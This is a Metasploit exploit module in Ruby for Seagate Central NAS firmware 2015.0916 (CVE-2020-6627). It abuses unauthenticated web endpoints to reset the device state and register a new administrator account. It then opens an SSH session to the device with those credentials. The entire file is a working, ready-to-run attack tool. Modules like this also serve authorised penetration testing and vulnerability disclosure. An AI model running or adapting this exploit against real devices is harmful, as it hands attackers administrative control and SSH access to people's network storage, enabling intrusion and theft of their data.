##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/http'
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Seagate Central External NAS Arbitrary User Creation",
'Description' => %q{
This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
and register a new admin user which is capable of SSH access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balcı <[email protected]>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
['CVE', '2020-6627']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
['Auto',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
],
],
'Privileged' => true,
'DisclosureDate' => "Dec 9 2019",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
},60)
if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
# First get current state
first_state=get_state()
if first_state
print_status("Current device state: #{first_state['state']}")
else
return
end
if first_state['state'] != 'start'
# Set new start state
first_state['state'] = 'start'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "info=#{first_state.to_json}"
},60)
changed_state=get_state()
if changed_state && changed_state['state'] == 'start'
print_good("State successfully changed !")
else
print_error("Could not change device state")
return
end
end
name = Rex::Text.rand_name_male
user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)
print_status('Creating new admin user...')
print_status("User: #{user}")
print_status("Pass: #{pass}")
# Add new admin user
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
},60)
conn = do_login(user,pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
handler(conn.lsock)
end
end
def do_login(user, pass)
factory = ssh_socket_factory
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => 22,
:use_agent => false,
:config => false,
:password => pass,
:proxy => factory,
:non_interactive => true,
:verify_host_key => :never
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
fail_with Failure::Unreachable, 'Connection failed'
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def get_state
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
},60)
if res && (res.code == 200 ||res.code == 100)
return res.get_json_document
end
res = nil
end
end